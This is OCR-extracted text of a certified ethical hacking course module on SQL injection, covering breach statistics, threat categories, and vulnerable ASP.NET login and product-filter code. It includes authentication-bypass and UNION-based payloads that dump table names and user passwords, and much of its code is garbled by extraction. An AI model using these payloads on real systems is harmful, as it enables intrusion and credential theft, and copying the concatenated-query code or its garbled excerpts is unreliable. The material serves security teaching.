Você está na página 1de 148

S Q L In je c tio n

Module 14

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection
IV/lnrlnlo 1A

E t h ic a l H a c k i n g a n d C o u n t e r m e a s u r e s V8
M o d u l e 1 4 : S Q L I n je c t io n E x a m 3 1 2 -5 0

Module 14 Page 1987

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Security News
Barclays: 97 Percent of Data Breaches Still due to S Q L Injection SQ L injection attacks have been around for m ore than ten years, an d security professionals are m ore than capable of protecting ag ain st them ; yet 9 7 percent of data breaches worldwide are still due to an SQ L injection som ew here along the lin e, according to N eira Jones, head of paym ent security for Barclaycard. Speaking at the Infosecurity Europe Press Conference in London this w eek, Jones said that hackers are taking advantage of businesses with inadequate an d often outdated inform ation security practices. C itin g the m ost recent fig u res fromthe N ational Fraud A uthority, she said that identity fraud co sts the U Km ore than 2 .7 b illio n every year, and affects m ore than 1 .8 m illio n people. "Data breaches have becom e a statistical certainty," saidJones. "If you look at w hat the p u b lic individ ual is concerned about, protecting personal inform ation isactually at the sam e level inthe scale of p ub lic social concerns as preventing crim e."

http://news.techworld.com
Copyright b y EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited.

S e c u rity N ew s
Neuis B a r c l a y s : 97 P e r c e n t o f D a t a B r e a c h e s S t i l l D u e t o S Q L In je c tio n Source: http://news.techworld.com SQL injection attacks have been around for more than ten years, and security professionals are more than capable of protecting against them; yet 97 percent of data breaches worldwide are still due to an SQL injection somewhere along the line, according to Neira Jones, head of payment security for Barclaycard. Speaking at the Infosecurity Europe Press Conference in London this week, Jones said that hackers are taking advantage of businesses with inadequate and often outdated information security practices. Citing the most recent figures from the National Fraud Authority, she said that identity fraud costs the UK more than 2.7 billion every year, and affects more than 1.8 million people. "Data breaches have become a statistical certainty," said Jones. "If you look at what the public individual is concerned about, protecting personal information is actually at the same level in the scale of public social concerns as preventing crime."

Module 14 Page 1988

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL injection is a code injection technique that exploits security vulnerability in a website's software. Arbitrary data is inserted into a string of code that is eventually executed by a database. The result is that the attacker can execute arbitrary SQL queries or commands on the backend database server through the web application. In October
2011,

for example, attackers planted malicious JavaScript on Microsoft's ASP.Net

platform. This caused the visitor's browser to load an iframe with one of two remote sites. From there, the iframe attempted to plant malware on the visitor's PC via a number of browser drive-by exploits. Microsoft has been offering ASP.Net programmers information on how to protect against SQL injection attacks since at least 2005. However, the attack still managed to affect around 180,000 pages. Jones said that, with the number of interconnected devices on the planet set to exceed the number of humans by 2015, cybercrime and data protection need to take higher priority on the board's agenda. In order for this to happen, however, the Chief Information Security Officer (CISO) needs to assess the level of risk within their organisation, and take one step at a time. "I always say, if anyone says APT [advanced persistent threat] in the room, an angel dies in heaven, because APTs are not the problem," said Jones. "I'm not saying that they're not real, but let's fix the basics first. Are organisations completely certain they're not vulnerable to SQL injections? And have they coded their web application securely?" Generally it takes between 6 and 8 months for an organisation to find out it has been breached, Jones added. However, by understanding their risk profile and taking simple proactive measures, such as threat scenario modelling, companies could prevent 87 percent of attacks.

Copyright IDG 2012 By Sophie Curtis http://news.techworld.com/securitv/3331283/barclavs-97-percent-of-data-breaches-still-due-tosal-iniection/

Module 14 Page 1989

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

M odule Objectives
J SQL Injection J J J SQL Injection Attacks SQL Injection Detection SQL Injection Attack Characters J J J J J J J Password Grabbing

CEH

Bypass Website Logins Using SQL Injection Network Reconnaissance Using SQL Injection SQL Injection Tools Evasion Technique How to Defend Against SQL Injection Attacks SQL Injection Detection Tools

J Testing for SQL Injection J Types of SQL Injection J J Blind SQL Injection SQL Injection Methodology

J Advanced SQL Injection

Copyright b y EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited.

M o d u le O b je c tiv e s
This module introduces you the concept of SQL injection and how an attacker can exploit this attack methodology on the Internet. At the end of this module, you will be familiar with: e e e Q 0 e e e SQL Injection SQL Injection Attacks SQL Injection Detection SQL Injection Attack Characters Testing for SQL Injection Types of SQL Injection Blind SQL Injection SQL Injection Methodology s Q Q e e e Q Advanced SQL Injection Bypass Website Logins Using SQL Injection Password Grabbing Network Reconnaissance Using SQL Injection SQL Injection Tools Evasion Technique How to Defend Against SQL Injection Attacks SQL Injection Detection Tools

Module 14 Page 1990

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

I i

M o d u le F lo w
To understand SQL injection and its impact on the network or system, let us begin

with the basic concepts of SQL injection. SQL injection is a type of code injection method that exploits the safety vulnerabilities that occur in the database layer of an application. The vulnerabilities mostly occur due to the wrongly filtered input for string literal escape characters embedded in SQL statements from the users or user input that is not strongly typed and then suddenly executed without correcting the errors.

Module 14 Page 1991

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection Concepts

Advanced SQL Injection

Testing for SQL Injection

SQL Injection Tools

Types of SQL Injection

Evasion Techniques

) :^

Blind SQL Injection

Countermeasures

SQL Injection Methodology

This section introduces you to SQL injection and the threats and attacks associated with it.

Module 14 Page 1992

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection
cs

Q SQL Injection is the most com m on w e b site v u ln e ra b ility on the Internet

9 It is a fla w in W e b A p p licatio n s and not a database or w eb se rver issue

Q M o st program m ers are still not a w a re of this threat

Copyright b y EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

SQ L

SQL In je c tio n
SQL injection is a type of web application vulnerability where an attacker can

manipulate and submit a SQL command to retrieve the database information. This type of attack mostly occurs when a web application executes by using the user-provided data without validating or encoding it. It can give access to sensitive information such as social security numbers, credit card numbers, or other financial data to the attacker and allows an attacker to create, read, update, alter, or delete data stored in the backend database. It is a flaw in web applications and not a database or web server issue. Most programmers are still not aware of this threat.

Module 14 Page 1993

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Scenario
v o la tility s u b d u e d

v rt \3 .Q \ u 1j .

Albert Gonzalez, an indicted hacker stole 130 million credit and debit cards, the biggest identity theft case ever prosecuted in the United States. He used SQL injection attacks to install sniffer software on the companies' servers to intercept credit card data as it was being processed.
http ://www. theregister.co. uk

pro**
1 ^ B u s i n e s s w o r l d
0

.
m l s t i c

p 1

nomic upturn

lid a s s e t s

Copyright b y EC-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

S c e n a rio
Albert Gonzalez, an indicted hacker stole 130 million credit and debit cards,

performed the biggest identity theft case ever prosecuted in the United States. He used SQL injection attacks to install sniffer software on companies' servers to intercept credit card data as it was being processed.

Module 14 Page 1994

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection Is the M ost Prevalent Vulnerability in 2012


SQL Injection Unknown DD0S

CEH

D efacem ent Targeted Attack DNS Hijack Password Cracking Account Hijacking

Java Vulnerability

Other

http://hackmageddon.com
Copyright b y

EG-G*ancil. All

Rights Reserved. Reproduction Is Strictly Prohibited.

Source: http://hackmageddon.com According to http://hackmageddon.com. SQL injection is the most commonly used attack by the attacker to break the security of a web application. From the following statistics that were recorded in September 2012, it is clear that, SQL injection is the most serious and mostly used type of cyber-attack performed these days when compared to other attacks.

Module 14 Page 1995

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection Unknown DDoS Defacement Targeted Attack DNS Hijack Password C racking Account Hijacking Java Vulnerability Other

FIGURE 14.1: SQL Injection

Module 14 Page 1996

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection Threats


C hanging Price Tam per w ith D atabase Records^ '/ . M odifying Records : Escalation of Privileges

U rtifM

CEH
IthKJl lUckM

O Spoofing Identity

Voiding Machine's ^Critical Transactions

D enialofService on the Server

Complete Disclosure of all Data on the System .

D estruction of D ata

Copyright by EG-GtUIICil. All Rights R eserved. Reproduction is Strictly Prohibited

y
9

SQL In je c tio n T h re a ts
The following are the major threats of SQL injection:

Spoofing identity: Identity spoofing is a method followed by attackers. Here people are
deceived into believing that a particular email or website has originated from the source which actually is not true.

Changing prices: One more of problem related to SQL injection is it can be used to
modify data. Here the attackers enter into an online shopping portal and change the prices of product and then purchase the products at cheaper rates. Q

Tamper with database records: The main data is completely damaged with data
alteration; there is even the possibility of completely replacing the data or even deleting the data.

Escalation of privileges: Once the system is hacked, the attacker seeks the high
privileges used by administrative members and gains complete access to the system as well as the network.

Denial-of-service on the server: Denial-of-service on the server is an attack where users


aren't able to access the system. More and more requests are sent to the server, which can't handle them. This results in a temporary halt in the services of the server.

Module 14 Page 1997

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Complete disclosure of all the data on the system: Once the network is hacked the
crucial and highly confidential data like credit card numbers, employee details, financial records, etc. are disclosed.

Destruction of data: The attacker, after gaining complete control over the system,
completely destroys the data, resulting in huge losses for the company.

Voiding system's critical transaction: An attacker can operate the system and can halt
all the crucial transactions performed by the system. 0

Modifying the records: Attackers can modify the records of the company, which proves
to be a major setback for the company's database management system.

Module 14 Page 1998

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

What Is SQL Injection?

CEH

SQL injection is a technique used to take advantage of non-validated input vulnerabilities to pass SQL commands through a web application for execution by a backend database SQL injection is a basic attack used to either gain unauthorized access to a database or to retrieve information directly from the database

Copyright b y EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited.

SOL

W h a t Is SQL In je c tio n ?
Structured Query Language (SQL) is basically a textual language that enables interaction with a database server. SQL commands such as INSERT, RETRIEVE, UPDATE, and DELETE are used to perform operations on the database. Programmers use these commands to manipulate data in the database server. SQL injection is defined as a technique that takes advantage of non-validated back-end database. Programmers use sequential SQL commands with input

vulnerabilities and injects SQL commands through a web application that are executed in a client-supplied parameters making it easier for attackers to inject commands. Attackers can easily execute random SQL queries on the database server through a web application. Attackers use this technique to either gain unauthorized access to a database or to retrieve information directly from the database.

Module 14 Page 1999

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

J On the basis of application used and the way it processes user supplied data, SQL injection can be used to implement the attacks mentioned below:
A u th e n tic a tio n B y p a s s

U sin gth is attack, an attacker lo g sonto anap p lication w ithout p ro vid in gvalid u ser nam e an dp assw o rd an dg ain s ad m inistrative p rivileg es
R e m o te C o d e E x e c u t io n In fo r m a t io n D is c lo s u r e

It assistsan attacker to com prom isethe host O S

U sin gth is attack, anattacker o b tain s sen sitive inform ation that issto red inthe d atab ase

C o m p r o m is e d A v a ila b ilit y o f D a ta

C o m p r o m is e d D a ta In t e g r it y

A ttackers u seth is attacktodelete the d atabase in form ation , delete lo g , or au d it in form ation that is sto red ina d atab ase

A n attacker u sesth is attackto d eface a w eb p ag e , in sert m aliciouscontent in to w eb p ag es, or alter the contents of a d atab ase
/Copyright b y EG-CMMCil. All Rights JteSeivecL R ep ro d u ctio n is Strictly Prohibited.

SQL In je c tio n A tta c k s


Based on the application and how it processes user-supplied data, SQL injection can be used to perform the following types of attacks: a

Authentication bypass: Here the attacker could enter into the


network. He or she gets the highest privilege in the network.

network without

providing any authentic user name or password and could gain the access over the

Q Information disclosure: After unauthorized entry into the network, access to the sensitive data stored in the database. Q

the attacker gets

Compromised data integrity: The attacker changes the main content of the website and
also enters malicious content into it.

Compromised availability of data: The attacker uses this type of attack to delete the
data related to audit information or any other crucial database information.

Remote code execution: An attacker could modify, delete, or create data or even can
create new accounts with full user rights on the servers that share files and folders. It allows an attacker to compromise the host operating system.

Module 14 Page 2000

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

How Web Applications Work


h ttp://juggyboy.com /?id= 6329& print= Y

CEH

Internet

Firew all

W e b S erver

OS System Calls

Operating System

DBM S

W e b A pplication

ID
6329

Topic
Tech CNN O utput SELECT * from news where id = 6329

Copyright b y

EC-ClUIICil. All

Rights Reserved. Reproduction is Strictly Prohibited.

H ow W eb A p p lic a tio n s W ork


A web application is a software program accessed by users over a network through a web browser. W eb applications can be accessed only through a web browser (Internet Explorer, Mozilla Firefox, etc.). Users can access the application from any computer of a network. Based on web applications, web browsers also differ to some extent. Overall response time and speed is dependent on connection speed.

Step 1: The user requests through the web browser from the Internet to the web server. Step 2: The W eb Server accepts the request and forwards the request sent by the user to the
applicable web application server.

Step 3: The web application server performs the requested task. Step 4: The web applications accesses the entire database available and responds to the web
server.

Step 5: The web server responds back to the user as the transaction is complete. Step 6: Finally the information that the user requested appears on the monitor of the user.

Module 14 Page 2001

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

ID
6329

Topic
Tech

New s
CNN SELECT * from news where id = 6329

FIGURE 14.2: Working of Web Applications

Module 14 Page 2002

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Server-side Technologies
Powerful server-side technologies like ASP.NET and database servers allow developers to create dynam ic, data-driven websites with incredible ease

CEH

The power of ASP.NETand SQL can easily be exploited by hackers using SQL injection attacks

SQL

Server

A ll relational databases,SQLServer, Oracle, IBM D B2, and MySQL, are susceptible to SQL-injection attacks

SQ L injection attacks do not exploit a specific softw are vulnerability, instead they target websites that do not follow secure coding practices for accessing and m anipulating data stored in a relational database
Copyright b y EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

S e rv e r-sid e T e c h n o lo g ie s
This technology is used on the server side for client/server technology. For achieving business success, not only information is important, but we also need speed and efficiency. Server-side technology helps us to smoothly access, deliver, store, and restore information. Various server-side technologies include: ASP, ASP.Net, Cold Fusion, JSP, PHP, Python, and Ruby on Rails. Server side technologies like ASP.NET and SQL can be easily exploited by using SQL injections. Q Powerful server-side technologies like ASP.NET and database servers allow developers to create dynamic, data-driven websites with incredible ease. Q All relational databases, SQL Server, Oracle, IBM DB2, and MySQL, are susceptible to SQL injection attacks. e SQL injection attacks do not exploit a specific software vulnerability; instead they target websites that do not follow secure coding practices for accessing and manipulating data stored in a relational database. The power of ASP.NET and SQL can easily be exploited by attackers using SQL injection attacks.

Module 14 Page 2003

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

HTTP Post R equest


h ttp :// ju ggyb oy.com /lo gon .aspx ?usern am e= bart& p assw ord= sim p so n

CEH

Account Login
Usern am e Password
^ b art

simp!

W h e n a user provides inform ation and clicks Subm it, th e brow ser subm its a string to th e w eb server th at contains the user's credentials This string is visible in th e body of the HTTP or HTTPS POST request as:

SQL query at the database select * from Users where (username = 1 b a r t 1 and password = simpson1);

<form action-"/cgi-bin/login me thod-pos t> Username: <input type-text name-username> Password: <input type=password name=password> <input type=submit value=Login>
a........... .............. ................ .......................... ..

Copyright b y

EG-G*ancil. All

Rights Reserved. Reproduction is Strictly Prohibited.

H TTP P ost R eq u est


An HTTP POST request creates a way of passing larger sets of data to the server. The HTTP POST requests are ideal for communicating with an XM L web service. These methods are designed for data submission and retrieval on a web server. W hen a user provides information and clicks Submit, the browser submits a string to the web server that contains the user's credentials. This string is visible in the body of the HTTP or HTTPS POST request as: SQL query at the database s e le c t * from U sers where (username = ,b a r t ' <form a c tio n = "/ c g i- b in / lo g in " method=post> Username: < input typ e= text name=username> Password: <input type=password name=password> C in p ut type=submit value=Login> and password = 's im p s o n ');

Module 14 Page 2004

Ethical Hacking and Countermeasures Copyright by EC-COUIICil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Example 1: Normal SQL Query


I Q Q
http://juggyboy.com/BadLogin.aspx B a d L o g in . a s p x . c s p r iv a t e v o id c m d L o g in e ) = C lic k (o b je c t se n d e r, S y s te m . E v e n tA r g s

s trin g

s trC n x

jy B o y .c o m

" se rve r= l o c a l h o s t ; d a t a b a s e = n o r t h w i n d /u i d = s a ; p w d = ; " ; S q lC o n n e c tio n c n x .O p e n ( ) ; cnx = new S q lC o n n e c t io n (s tr C n x )

/ / T h is

code

is

s u s c e p t ib le

to

SQ L

in je c t io n

a tta c k s .

string strQry = "SELECT Count(*) FROM Users W HERE U s e r N a m e "' + t x t U ser.Text + " AND Password " + txtPasswo r d . T e x t +

in t

in tR e c s ; cm d (in t) { } e ls e { a tte m p t fa ile d .; ) new S q lC o m m a n d (s tr Q r y , cnx) ;

S q lC o m m a n d

Web Browser
C onstructed SQ L Q u e ry <

in t R e c s i f

cm d.E x e c u t e S c a la r ( ) ;

(in t R e c s > 0 ) f a ls e );

F o r m s A u t h e n t ic a t io n .R e d ir e c tF r o m L o g in P a g e (tx tU s e r .T e x t,

lb lM s g .T e x t c n x .C lo s e ( ) ;

L o g in

SELECT Count(*) FROM Users WHERE UserName=Jason1 AND Password Springfield

>

Server-side Code (BadLogin.aspx)

/Copyright b y EC - C M IC il. All Rights JteServ ed lR ep ro d u ctio n Is Strictly Prohibited.

E x a m p l e 1: N o r m a l S Q L Q u e r y
Here the term "query" is used for the commands. All the SQL code is written in the form of a query statement and finally executed. Various data operations of the SQL queries include selection of the data, inserting/updating of the data, or creating data objects like databases and tables with SQL. All the query statements begin with a clause such as SELECT, UPDATE, CREATE, and DELETE. SQL Query Examples:

Module 14 Page 2005

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

hup://]uggyboy ( 0 ii1/BkI login wvpx

J u g g y B o y .c o m

b o d L o g rn . a c p x . ce p r i v a t e v o i d c m d L o g 1 n _ C 1 1 c k (o b je c t s e n d e r , S y s te n .E v e n tA r g s e) < s t r i n g s trC n x = s e r v o r= lo c A l h o s t ; d a t a b a a o n o r t h H 1 n d ;u i d - s a ?p w d - ; " ; S q l C o n n e c t io n c n x = new S q l C o n n e c t i o n ( s t r C n x ) ; c n x . Open ( ) ; / / T h is cod e i s a tta c k s . s trin g U se rs " AND s trQ ry W HERE s u s c a p t ib le = to SQ L i n j e c t i o n C o u n t ( * ) + FRO M

+ +

SELEC T

U se rN a m e = ' +

tx tU s e r.T e x t

P a s s w o r d * '"

tx tP a s s w o rd . T e x t

W eb Brow ser

Constructed SQL Query


SELEC T C o u n t( ) FRO M U s e r s AN D W HERE U s e r N a 1*e = ' T a s o n ' P a s s w o rd ' S p r in g f ie ld *

i n t m tR e c s ; S q lC o aaa an d e n d = new SqlCom m and ( s t r Q r y , c n x ) : m t R e c s = ( i n t ) crad . E x e c u t e S c a l a r () ; i f (in t R e c s > 0 ) { F o r m s A u t h e n t ic a t io n . R e d ir e c t F r o m L o g in P a g e ( t x t U s e r .T e x t, f a l s e ) ; ) e l s e { lf c lM s g . T e x t = " L o g i n a t t e m p t f a i l e d . " ; } c n x .C lo s e () ;

Server Side Code (BadLogin.aspx)

FIGURE 14.3: SQL Query Exam ple

Module 14 Page 2006

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Example 1: SQL Injection Query


I Q Q
http://juggyboy.com/BadLogin.aspx

CEH

jy B o y .c o m

Attacker Launching SQL Injection

SELECT Count(*) FR O M Users W H ERE UserNam e=1 Blah' or 1 = 1 --1 A N D Password='Springfield1 SELECT Count(*) FR O M Users W H ERE UserNam e=Blah' or 1 = 1
SQL Query Executed

' A N D Password='Springfield1 Code after are now com m ents

Copyright b y EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

E x a m p l e 1: S Q L I n j e c t i o n Q u e r y
The most common operation in SQL is the query, and it is performed with the declarative SELECT statement. This SELECT command retrieves the data from one or more tables. SQL queries allows a user to describe or assign the desired data, and leave the DBMS (Data Base Management System) as responsible for optimizing, planning, and performing the physical operations. A SQL query includes a list of columns to be included in the final result of the SELECT keyword. If the information submitted by a browser to a web application is inserted into a database query without being properly checked, then there may be a chance of occurrence of SQL injection. HTML form that receives and passes the information posted by the user to the Active Server Pages (ASP) script running on IIS web server is the best example of SQL injection. The information passed is the user name and password. By querying a SQL server database these two data items are checked. username B la h ' o r 1=1 password S p r in g f ie ld The query executed is: SELECT C o u n t(*) FROM U sers Password ' S p r i n g f i e l d 1; WHERE UserName=' B la h ' or 1=1 -AND

Module 14 Page 2007

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

However, the ASP script builds the query from user data using the following line: B la h query = 1 1 SELECT * FROM u sers WHERE username = 1" + B la h 1 or 1=1 + ' AND password = + S p r in g f ie ld + If the user name is a single-quote character (') the effective query becomes: SELECT * FROM ' [S p r in g fie ld ]'; s e rs WHERE username = 111 AND password =

This is invalid SQL syntax and produces a SQL server error message in the user's browser: M ic r o s o ft OLE DB P r o v id e r f o r ODBC D r iv e r s e r r o r '80040el4'

[M icro so ft][O D B C SQL S e r v e r D r iv e r ][S Q L S e rv e r]U n c lo s e d q u o ta tio n mark b e fo re the c h a r a c te r s t r in g / lo g in .a s p , l i n e 16 The quotation mark provided by the user has closed the first one, and the second generates an error, because it is unclosed. At this instance, to customize the behavior of a query, an attacker can begin injecting strings into it. The content proceeding the double hyphes (--) signify a Transact-SQL comment. 0 ' and p assw ord = ''.

13
^

nttp://|usfivt>0Y com/Badiofiin.aspx

B o y .c o m

p a ! Blah or 1=1 [ Springfield < ..................................

A ttacker Launching SQ L Injectio n

SELECT Count(*)

FROM Users WHERE UserName B l a h ' or 1"1 --' AND Password' Springfield'

SQ L Q u e ry Executed

Code after

are com ments

FIGURE 14.4: SQL Injection Query Exam ple

Module 14 Page 2008

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Exam ple 1: Code Analysis


A user enters a user name and password that matches a record in the user's table J A dynamically generated SQL query is used to retrieve the number of matching rows J The user is then authenticated and redirected to the requested page When the attacker enters blah' or 1 = 1-then the SQL query w ill look like: SELECT Count(*) FRO M Users W HERE UserName='blah Or 1 = 1 A N D Password='' Because a pair of hyphens designate the beginning of a com m ent in SQ L, the query sim ply becom es: SELECT Count(*) FRO M Users W HERE UserName='blah' Or 1 = 1

CEH

string strQry = "SELECT Count(*) FROM Users WHERE U s e r N a m e "' + txtUser.Text + AND Password" + t x t P a s s w o r d .Text + . .;

Copyright b y EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited.

E x a m p l e 1: C o d e A n a l y s i s
Code analysis is the process of automated testing of the source code for the purpose of debugging before the final release of the software for the purpose of sale or distribution. a A user enters a user name and password that matches a record in the Users table A dynamically generated SQL query is used to retrieve the number of matching rows

The user is then authenticated and redirected to the requested page W hen the attacker enters blah' or 1=1 - then the SQL query can look like: SELECT Count Password' ' (*) FROM U sers WHERE UserName=' b l a h ' Or 1=1 ' AND

Because a pair of hyphens designates the beginning of a comment in SQL, the query simply becomes: SELECT Count (*) FROM U sers WHERE UserName=' b la h ' Or 1=1 UserName='" +

s t r in g s trQ ry = "SELECT C o u n t(*) FROM U sers WHERE tx tU s e r .T e x t + 1 1 ' AND Passw ord= '" + tx tP a s s w o rd . Text +

Module 14 Page 2009

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Example 2: BadProductList.aspx

CEH

This page displays products

GO
p r iv a te v o id

http://juggyboy.com/BadProductList.aspx

from the Northwind database and allows users to filter the resulting list of products using a textbox called txtFilter

c m d F ilt e r _ C lic }c (o b je c t

sen d e r.

S y s te m .E v e n tA r g s

e)

d g r P r o d u c t s . C u r re n tP a g e ln d e x b in d D a ta G r id ( ) ; }

= 0;

p r i v a t e v o id b in d D a t a G r id () { d g rP ro d u c ts .D a ta S o u rc e = c r e a t e D a t a V ie w (); d g r P r o d u c ts .D a ta B in d ( ) ; p r iv a te D a t a V ie w ) {

c re a te D a ta V ie w ()

s t r in g s trC n x = " s e r v e r l o c a l h o s t ; u id = s a ;p w d = ; d a ta b a s e n o r t h w in d ; " ; s trin g s trS Q L "S E L E C T P r o d u c t ld , P ro d u c tN a m e , " "Q u a n tity P e r U n it , / / T h is i f code is + U n it P r ic e to FROM P r o d u c t s " ; SQ L i n j e c t i o n > 0) { L IK E + t x t F i l t e r .T e x t a tta c k s .

Lik e the previous exam ple (BadLogin.aspx), this code isvulnerable to SQ L injection attacks < ; The executed SQ L is constructed dynam ically froma u ser-su p p lied in p u t

s u s c e p t ib le W H ERE

( t x t F i l t e r .T e x t . L e n g th 8 trS Q L

P ro d u c tN a m e

S q lC o n n e c t io n

cnx

n e w S q l C o n n e c t i o n ( s t r C n x ) ; c n x );

S q l D a t a A d a p t e r s d a = new S q l D a t a A d a p t e r ( s t r S Q L , D a t a T a b le d t P r o d u c t s = new D a t a T a b l e ( ) ; sd a.F ill(d t P r o d u c t s ); re tu rn d tP r o d u c ts .D e fa u ltV ie w ;

Attack Occurs Here

Copyright b y

EG-Giancil. All

Rights Reserved. Reproduction is Strictly Prohibited.

E x a m p l e 2: B a d P r o d u c t L i s t . a s p x
Source: http://msdn.microsoft.com This page displays products from the Northwind database and allows users to filter the resulting list of products using a textbox called txtFilter. Like the last example, the page is ripe for SQL injection attacks because the executed SQL is constructed dynamically from a userentered value. This particular page is a hacker's paradise because it can be hijacked by the astute hacker to reveal secret information, change data in the database, damage the database records, and even create new database user accounts. Most SQL-compliant databases including SQL Server, store metadata in a series of system tables with the names sysobjects, syscolumns, sysindexes, and so. This means that a hacker could use the system tables to ascertain schema information for a database to assist in the further compromise of the database. For example, the following text entered into the txtFilter textbox might be used to reveal the names of the user tables in the database: UNION SELECT id , name, 0 FROM s y s o b je c ts WHERE xtype = 'U ' --

The UNION statement in particular is useful to a hacker because it allows him or her to splice the results of one query onto another. In this case, the hacker has spliced the names of the user tables in the database to the original query of the Products table. The only trick is to match the number and data types of the columns to the original query. The previous query might reveal

Module 14 Page 2010

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

that a table named Users exists in the database. A second query could reveal the columns in the Users table. Using this information, the hacker might enter the following into the txtFilter textbox: UNION SELECT 0, UserName, Password, 0 FROM U sers -Entering this query reveals the user names and passwords found in the Users table.

p r i v a t e v o id c m d r i lt e r _ c l ic k ( 0b j e c t s e n d e r, S y ste a .E v e n tA rg s e) d g rP ro d u c ts . C u rren tP ag eIn d ex = 0; b in d O a t a O r id () ; ) p r iv a t e v o id b in d O a ta O rid () ( d g rP ro d u c ts . D ataSource = c r e a te D a ta V ie w (); d g rP ro d u c ts . D a ta B in d ( ) ; ) p r i v a t e D ataV iew c re a te D a ta V ie w () ( s t r in g strC n x = " s e r v e r =lo c a lh o s t ;u id = s a , pwd= datab a se=n o rth w ln d ' s t r in g strSQL = "SELECT ProductXd, ProductN ane, H " Q u a n tlty P e r U n lt, U n itP r ic e FROM P r o d u c t s ':

FIGURE 14.5: BadProductList.aspx

Module 14 Page 2011

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Exam ple 2: Attack A nalysis

UrtfW<

CEH
ItlMui HMkM

SELECT Productld, ProductName, QuantityPerUnit, UnitPrice FRO M Products W HERE ProductName LIKE 'blah' UNION Select 0, username, password, 0 from users
Copyright b y

EG-C0uacil. All

Rights R eserved. Reproduction is Strictly Prohibited.

